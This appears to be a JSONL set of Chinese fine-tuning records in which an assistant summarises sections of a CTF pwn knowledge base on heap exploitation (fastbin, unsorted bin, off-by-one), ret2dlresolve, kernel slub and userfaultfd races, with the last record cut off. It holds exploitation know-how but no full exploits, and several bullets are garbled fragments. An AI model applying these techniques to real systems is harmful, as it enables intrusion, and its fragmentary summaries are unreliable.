{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-acd75425bb1bd6e3aa6a", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/exploitation/heap/slub/introduction.md` 中的章节「slub 合并 & 隔离」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/exploitation/heap/slub/introduction.md`\n标题：简介\n章节：简介 > slub 合并 & 隔离\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“slub 合并 & 隔离”展开。\n- slab alias 机制是一种对同等/相近大小 object 的 kmem_cache 进行复用的一种机制： - 当一个 kmem_cache 在创建时，若已经存在能分配相等/近似大小的 object 的 kmem_cache ，则不会创建新的 kmem\\_cache，而是为原有的 kmem\\_cache 起一个 alias，作为“新的” kmem\\_cache 返回。\n- 举个例子，cred_jar 是专门用以分配 cred 结构体的 kmem_cache，在 Linux 4.4 之前的版本中，其为 kmalloc-192 的 alias，即 cred 结构体与其他的 192 大小的 object 都会从同一个 kmem_cache——kmalloc-192 中分配。\n- 对于初始化时设置了 SLAB_ACCOUNT 这一 flag 的 kmem_cache 而言，则会新建一个新的 kmem_cache 而非为原有的建立 alias，例如在新版的内核当中 cred_jar 与 kmalloc-192 便是两个独立的 kmem_cache，彼此之间互不干扰。\n\n关键术语：\n- 堆\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- exploitation\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 528, "chunk_count": 1, "chunk_index": 0, "ctf_score": 30, "ctf_task_type": "pwn", "heading": "slub 合并 & 隔离", "heading_path": ["简介", "slub 合并 & 隔离"], "original_id": "docs-f2ea3388e7ac29b93df6", "original_line": 763, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/heap/slub/introduction.md", "source_root": "docs", "source_sha256": "76936782c80ce1b0f0d08c8789bfbfcb4ecd58fc789cc6d0d20e256bcc37e801", "split": "train", "split_group_key": "efe3c1505479a0857690866f", "subcategory": "pwn/linux/kernel-mode", "terms": ["堆", "漏洞利用", "pwn", "linux", "kernel-mode", "exploitation"], "title": "简介"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/heap/slub/introduction.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-acecae6e01a5efb6e270", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/unsorted-bin-attack.md` 中的章节「利用流程」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/unsorted-bin-attack.md`\n标题：Unsorted Bin Attack\n章节：in order not to merge into top chunk > 2016 0CTF zerostorage-待完成 > 利用流程\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“利用流程”展开。\n- Unsorted Bin Attack 利用 unsorted bin attack ，修改 global_max_fast 全局变量，由于 global_max_fast 变量为控制最大的Fast chunk的大小，将这里改写为unsorted bin的地址(一般来说是一个很大的正数)，就能使之后的chunk都被当作fast chunk，即可进行Fast bin attack。\n\n关键术语：\n- 堆\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 214, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "利用流程", "heading_path": ["in order not to merge into top chunk", "2016 0CTF zerostorage-待完成", "利用流程"], "original_id": "docs-e58f911019bf147ebf44", "original_line": 1116, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/unsorted-bin-attack.md", "source_root": "docs", "source_sha256": "c2ba53ae053f8100dfd6c9f4174e9fdafca0b7e6ad07e6279865c89a5f082052", "split": "train", "split_group_key": "67ddf8292a64244a904ef728", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "漏洞利用", "pwn", "linux", "user-mode", "heap"], "title": "Unsorted Bin Attack"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/unsorted-bin-attack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-ad34817a7df4e418a111", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md` 中的章节「基本功能」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md`\n标题：Fastbin Attack\n章节：Fastbin Attack > 2017 0ctf babyheap > 基本功能\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“基本功能”展开。\n- 00000018 chunk ends ` 需要注意的是堆块是由 calloc 分配的，所以 chunk 中的内容全都为\\x00。\n- 此外，我们可以看出每个 chunk 主要有三个字段：是否在使用，堆块大小，堆块位置。\n- 程序是一个堆分配器，主要由以下四种功能 ``c puts(\"1.\n- 而且比较有意思的是，这个指定长度是我们指定的，并不是之前 chunk 分配时指定的长度，所以这里就出现了任意堆溢出的情形。\n- 通过分配函数 `c void __fastcall allocate(__int64 a1) { signed int i;\n\n关键术语：\n- 边界/溢出\n- 堆\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n- code:c\n\n代码/命令片段线索：\n- c: 6 行，首行 `puts(\"1. Allocate\");`\n- c: 27 行，首行 `void __fastcall allocate(__int64 a1)`\n- plain: 5 行，首行 `00000000 chunk struc ; (sizeof=0x18, mappedto_6)`\n- c: 25 行，首行 `__int64 __fastcall fill(chunk *a1)`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 2136, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "基本功能", "heading_path": ["Fastbin Attack", "2017 0ctf babyheap", "基本功能"], "original_id": "docs-7ee7d22f9caf68f02969", "original_line": 936, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md", "source_root": "docs", "source_sha256": "64df048b597ef6437905e6df1f5ef5b90fc06f950d7e5cb40681b923ec3ce15a", "split": "train", "split_group_key": "dd527546d8394973b2c2ba99", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "堆", "漏洞利用", "pwn", "linux", "user-mode", "heap", "code:c"], "title": "Fastbin Attack"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-ad938d3817c8eca1428c", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/windows/kernel-mode/basic-knowledge/introduction.md` 中的章节「_MMPFN：物理页框」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/windows/kernel-mode/basic-knowledge/introduction.md`\n标题：基础知识\n章节：基础知识 > 内存管理 > 一、物理内存管理 > _MMPFN：物理页框\n路径分类：pwn / pwn/windows/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“_MMPFN：物理页框”展开。\n- 文件: https://s2.loli.net/2023/12/29/JqmC3DZRiVpMPbB.png]\n- > > 在进程退出时，所有的页面都会进入 freepagelist 链表中。\n- [图片文件: https://s2.loli.net/2025/02/01/F31JSlV7XCruWyT.png] 页面在不同链表间循环的总览图如下： [图片文件: https://s2.loli.net/2025/02/01/p2amPDjBd34IZYk.png] 在 _MMPFN 结构体当中同样用了大量的 union，当页面在不同链表间循环时， _MMPFN 不同偏移的字段有着不同含义： [图片: image.png;\n\n关键术语：\n- pwn\n- windows\n- kernel-mode\n- basic-knowledge\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1240, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "_MMPFN：物理页框", "heading_path": ["基础知识", "内存管理", "一、物理内存管理", "_MMPFN：物理页框"], "original_id": "docs-99675c251d376520425a", "original_line": 1452, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/windows/kernel-mode/basic-knowledge/introduction.md", "source_root": "docs", "source_sha256": "dffe9072413dc248a151b1fce985a46c7e465f5387c687ba5f3287e4acd99fc6", "split": "train", "split_group_key": "bd5a7c6155aa01b581d7e946", "subcategory": "pwn/windows/kernel-mode", "terms": ["pwn", "windows", "kernel-mode", "basic-knowledge"], "title": "基础知识"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/windows/kernel-mode/basic-knowledge/introduction.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-adeeb1be9107f456cee9", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/heap-structure.md` 中的章节「chunk相关宏」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/heap-structure.md`\n标题：堆相关数据结构\n章节：define INTERNAL_SIZE_T size_t > chunk相关宏\n路径分类：pwn / pwn/linux/user-mode\n分块：1/2\n\n核心知识点：\n- 本节主题围绕“chunk相关宏”展开。\n- 具体流程如下 1. 首先，利用 REQUEST_OUT_OF_RANGE 判断是否可以分配用户请求的字节大小的 chunk。\n- 最小申请的堆内存大小 用户最小申请的内存大小必须是 2 SIZE_SZ 的最小整数倍。\n- ` 当一个 chunk 处于已分配状态时，它的物理相邻的下一个 chunk 的 prev_size 字段必然是无效的，故而这个字段就可以被当前这个 chunk 使用。\n- 2. 其次，需要注意的是用户请求的字节是用来存储数据的，即 chunk header 后面的部分。\n- 与此同时，由于chunk 间复用，所以可以使用下一个 chunk 的 prev_size 字段。\n\n关键术语：\n- 堆\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n- code:c++\n\n代码/命令片段线索：\n- c++: 3 行，首行 `/* conversion from malloc headers to user pointers, and back */`\n- c++: 2 行，首行 `/* The smallest possible chunk */`\n- c++: 5 行，首行 `/* The smallest size we can malloc is an aligned minimal chunk */`\n- c++: 6 行，首行 `/* Check if m has acceptable alignment */`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 5143, "chunk_count": 2, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "chunk相关宏", "heading_path": ["define INTERNAL_SIZE_T size_t", "chunk相关宏"], "original_id": "docs-640550aeac9b9c26f92e", "original_line": 952, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/heap-structure.md", "source_root": "docs", "source_sha256": "b1de1dbec6826b99266e11e63b8d9fae7712a0f329395937de325e916d1378e8", "split": "train", "split_group_key": "bcf2a5f9204aa9671bfdf7a1", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "AI安全", "漏洞利用", "pwn", "linux", "user-mode", "heap", "code:c++"], "title": "堆相关数据结构"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/heap-structure.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-adf4a93f7b403d08f398", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md` 中的章节「NO RELRO」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md`\n标题：ret2dlresolve\n章节：https://github.com/Gallopsled/pwntools/blob/5db149adc2/pwnlib/rop/ret2dlresolve.py#L237 > 64 位例子 > NO RELRO\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“NO RELRO”展开。\n- 由于可以溢出的缓冲区太少，所以我们可以考虑进行栈迁移后，然后进行漏洞利用。\n- 这会使得我们的 ROP 链变得更长 ```python from pwn import *\n- 栈中的数据为 1. 修改 .dynamic 节中字符串表的地址为伪造的地址 2. 在伪造的地址处构造好字符串表，将 read 字符串替换为 system 字符串。\n- 4. 调用 read 函数的 plt 的第二条指令，触发 _dl_runtime_resolve 进行函数解析，从而触发执行 system 函数。\n- 由于程序中没有直接设置 rdx 的 gadget，所以我们这里就选择了万能 gadget。\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- stackoverflow\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 372, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "NO RELRO", "heading_path": ["https://github.com/Gallopsled/pwntools/blob/5db149adc2/pwnlib/rop/ret2dlresolve.py#L237", "64 位例子", "NO RELRO"], "original_id": "docs-b38779db0e97644c9331", "original_line": 1335, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "source_root": "docs", "source_sha256": "2e19134d3375fa37fb3e560ae4b2109f6d74f32723e63394ef57aadfc89c451a", "split": "train", "split_group_key": "452681cf08917ee73979672a", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "漏洞利用", "pwn", "linux", "user-mode", "stackoverflow"], "title": "ret2dlresolve"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-af3d261985c71a03c84f", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/heap-structure.md` 中的章节「heap_info」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/heap-structure.md`\n标题：堆相关数据结构\n章节：define INTERNAL_SIZE_T size_t > 宏观结构 > heap_info\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 主线程可以通过 sbrk() 函数扩展 program break location 获得（直到触及Memory Mapping Segment），只有一个heap，没有 heap_info 数据结构。\n- 当其申请内存时，就需要一个结构来记录对应的信息，而heap_info 的作用就是这个。\n- 此外，一般申请的heap 是不连续的，因此需要记录不同heap之间的链接结构。\n- heap_info 的主要结构如下 ```c++ #define HEAP_MIN_SIZE (32 * 1024) #ifndef HEAP_MAX_SIZE\n- 程序刚开始执行时，每个线程是没有 heap 区域的。\n- 而且当该heap的资源被使用完后，就必须得再次申请内存了。\n\n关键术语：\n- 堆\n- pwn\n- linux\n- user-mode\n- heap\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 383, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "heap_info", "heading_path": ["define INTERNAL_SIZE_T size_t", "宏观结构", "heap_info"], "original_id": "docs-65aa2516f218dd34dce1", "original_line": 962, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/heap-structure.md", "source_root": "docs", "source_sha256": "b1de1dbec6826b99266e11e63b8d9fae7712a0f329395937de325e916d1378e8", "split": "train", "split_group_key": "7c3099205e965c74a4420863", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "pwn", "linux", "user-mode", "heap"], "title": "堆相关数据结构"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/heap-structure.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-aff43c2dd075e44e180d", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/fmtstr/fmtstr-example.md` 中的章节「确定保护」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/fmtstr/fmtstr-example.md`\n标题：例子\n章节：例子 > hijack retaddr > 例子 > 确定保护\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“确定保护”展开。\n- ``shell ➜ 三个白帽-pwnme_k0 git:(master) ✗ checksec pwnme_k0 Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) `` 可以看出程序主要开启了 NX 保护以及 Full RELRO 保护。\n\n关键术语：\n- 栈\n- pwn\n- linux\n- user-mode\n- fmtstr\n- code:shell\n\n代码/命令片段线索：\n- shell: 6 行，首行 `➜ 三个白帽-pwnme_k0 git:(master) ✗ checksec pwnme_k0`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 224, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "确定保护", "heading_path": ["例子", "hijack retaddr", "例子", "确定保护"], "original_id": "docs-26eddd91c63f2cb711db", "original_line": 48, "original_split": "validation", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/fmtstr/fmtstr-example.md", "source_root": "docs", "source_sha256": "d526df47868271160568cb01971c9633d988d9cb048751897540a339b9e018a0", "split": "train", "split_group_key": "1f556d44470a877ca9040d2f", "subcategory": "pwn/linux/user-mode", "terms": ["栈", "pwn", "linux", "user-mode", "fmtstr", "code:shell"], "title": "例子"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/fmtstr/fmtstr-example.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-b01cf004fd1a7f0824b5", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/exploitation/race/userfaultfd.md` 中的章节「分析」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/exploitation/race/userfaultfd.md`\n标题：用 userfaultfd 创造条件竞争\n章节：用 userfaultfd 创造条件竞争 > 例题：QWB2021-notebook > 分析\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“分析”展开。\n- 而两个取读锁的操作实际上都有写操作，但是他们又是可以并发的，这样就很可能存在条件竞争的漏洞。\n- 虽然 add 操作限制了 size 最大为 0x60，但是通过 edit 可以 krealloc 出任意大小的 slab UAF 任意大小的 slab。\n- 首先先说一下读写锁，其性质为： 当写锁被取走时，所有取锁操作被阻塞 当读锁被取走时，取写锁的操作被阻塞 恰当的使用读写锁可以在提高程序性能的前提下保证线程同步。\n- 同时并没有及时更新 note 指针，反而在更新前加入了 copy_from_user 的操作，那么就可以考虑通过 userfaultfd 操作卡死当前线程，避免 note 的更新，这样就可以保留一个被 kfree 的 slab 的指针。\n- [图片文件: ./figure/notebook-add-op.png] 不过在 add 操作时，也类似的在更新 size 前加入了 copy_from_user 的操作，我们也可以把线程卡死在这里，把 size 改为 0x60。\n\n关键术语：\n- UAF\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- exploitation\n- code:shell\n\n代码/命令片段线索：\n- shell: 10 行，首行 `#!/bin/sh`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1135, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "分析", "heading_path": ["用 userfaultfd 创造条件竞争", "例题：QWB2021-notebook", "分析"], "original_id": "docs-7ab4a3f46a75d68de01c", "original_line": 789, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/race/userfaultfd.md", "source_root": "docs", "source_sha256": "dde0fc852d95e289946e221dcdbd708b2ffb4d862226dc56b80d81bf3e5cc02f", "split": "train", "split_group_key": "9928275336a72f61bb34a7f0", "subcategory": "pwn/linux/kernel-mode", "terms": ["UAF", "漏洞利用", "pwn", "linux", "kernel-mode", "exploitation", "code:shell"], "title": "用 userfaultfd 创造条件竞争"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/race/userfaultfd.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-b1040fb796755dce494d", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/off-by-one.md` 中的章节「49」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/off-by-one.md`\n标题：堆中的 Off-By-One\n章节：49\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“49”展开。\n- 其中 fd 将指向 &chunk_B - 0x18并且破坏了 largebin 的 fd，之后我们会修复这个 fd 并使之指向 fake chunk。\n- chunk E 存在的意义是抬高堆地址，使之后 leak 堆地址的时候可以全部输出。\n- 在 chunk E 和 chunk C 中夹了一些 chunk，这些 chunk 会被 overlapping，便于之后继续利用了，建议多夹一些，免得后来发现不够用。\n- fake chunk 的 size 已经被修改好，我们不希望在修复 large bin 的 fd 的同时把这个 size 破坏掉，所以必须把 chunk A free 到 fastbin 中。\n- 也需要把 chunk B 和 chunk C free 掉，并且希望 chunk B 的 fd 指针指向一个堆地址，部分覆写后就可以使之指向 fake_chunk 了。\n\n关键术语：\n- 堆\n- 修复/缓解\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n\n代码/命令片段线索：\n- plain: 1 行，首行 `由于我们部分覆写的时候会被附加一个 `\\x00`，所以需要调整堆地址，为了调试方便，我选择这样调整，具体原因马上说`\n- plain: 2 行，首行 `然后进行堆布局`\n- plain: 2 行，首行 `由于之前进行的堆地址调整，在我的 gdb 中，该 large bin 的低地址的低 16 位就都是 0 了（这也就是之前堆地址调整时那样调整的原因。当然这只是在调试的情况下，实际打的时候只有低 12 位能保证为零，需要爆破 4 位，概...`\n- plain: 8 行，首行 `[图片文件: ./figure/heap-setup.png]`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1549, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "49", "heading_path": ["49"], "original_id": "docs-ed3f7f34f75ae8bfa6fd", "original_line": 1025, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/off-by-one.md", "source_root": "docs", "source_sha256": "c9420c20a42485b6b155210d4899dbe07dde5bd50311698d2cedbba97b522cfe", "split": "train", "split_group_key": "ced7f3c4aa5c781f449fca55", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "修复/缓解", "漏洞利用", "pwn", "linux", "user-mode", "heap"], "title": "堆中的 Off-By-One"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/off-by-one.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-b10a61755273520c8734", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/exploitation/tricks/qemu-monitor.md` 中的章节「分析 && 利用」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/exploitation/tricks/qemu-monitor.md`\n标题：利用 QEMU Monitor 读取 flag\n章节：利用 QEMU Monitor 读取 flag > 例题： 西湖论剑2021线上初赛 - easykernel > 分析 && 利用\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“分析 && 利用”展开。\n- 首先查看启动脚本，可以发现没有禁止 QEMU monitor： ``bash #!\n\n关键术语：\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- exploitation\n- code:bash\n- code:python\n\n代码/命令片段线索：\n- bash: 9 行，首行 `#!/bin/sh`\n- python: 36 行，首行 `from pwn import *`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1197, "chunk_count": 1, "chunk_index": 0, "ctf_score": 32, "ctf_task_type": "pwn", "heading": "分析 && 利用", "heading_path": ["利用 QEMU Monitor 读取 flag", "例题： 西湖论剑2021线上初赛 - easykernel", "分析 && 利用"], "original_id": "docs-d741f9d6ebab8f154136", "original_line": 835, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/tricks/qemu-monitor.md", "source_root": "docs", "source_sha256": 